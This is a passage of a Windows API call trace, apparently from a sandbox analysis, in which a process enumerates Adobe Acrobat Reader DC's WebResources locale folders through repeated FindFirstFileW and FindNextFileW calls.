0x1ec322f0 [0126.911] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffed840 | out: lpFindFileData=0x1ffed840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.911] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffed840 | out: lpFindFileData=0x1ffed840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dev", cAlternateFileName="")) returned 1 [0126.911] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffed840 | out: lpFindFileData=0x1ffed840*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0126.911] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0126.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffedaa0) returned 1 [0126.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeda60) returned 1 [0126.911] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffed130) returned 1 [0126.911] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev", nBufferLength=0x105, lpBuffer=0x1ffecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev", lpFilePart=0x0) returned 0x5e [0126.912] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\*", lpFindFileData=0x1ffece50 | out: lpFindFileData=0x1ffece50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0126.912] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffece10 | out: lpFindFileData=0x1ffece10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.912] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffece10 | out: lpFindFileData=0x1ffece10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 1 [0126.912] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffece10 | out: lpFindFileData=0x1ffece10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 0 [0126.912] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0126.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffed070) returned 1 [0126.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffed030) returned 1 [0126.912] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffed130) returned 1 [0126.912] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev", nBufferLength=0x105, lpBuffer=0x1ffecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev", lpFilePart=0x0) returned 0x5e [0126.912] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\*", lpFindFileData=0x1ffece50 | out: lpFindFileData=0x1ffece50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0126.913] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffece10 | out: lpFindFileData=0x1ffece10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.913] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffece10 | out: lpFindFileData=0x1ffece10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 1 [0126.913] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffece10 | out: lpFindFileData=0x1ffece10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0126.913] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0126.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffed070) returned 1 [0126.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffed030) returned 1 [0126.914] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffec700) returned 1 [0126.914] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls", nBufferLength=0x105, lpBuffer=0x1ffec1a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls", lpFilePart=0x0) returned 0x62 [0126.914] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\*", lpFindFileData=0x1ffec420 | out: lpFindFileData=0x1ffec420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0126.915] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.915] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-ae", cAlternateFileName="")) returned 1 [0126.915] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0126.916] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0126.916] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0126.916] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0126.916] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0126.916] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0126.916] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0126.916] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0126.917] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0126.917] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0126.917] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0126.917] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0126.917] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0126.917] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0126.917] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0126.918] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0126.918] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0126.918] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0126.918] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0126.918] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0126.918] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0126.918] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0126.919] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0126.919] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0126.919] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0126.919] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0126.919] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0126.919] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0126.919] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", 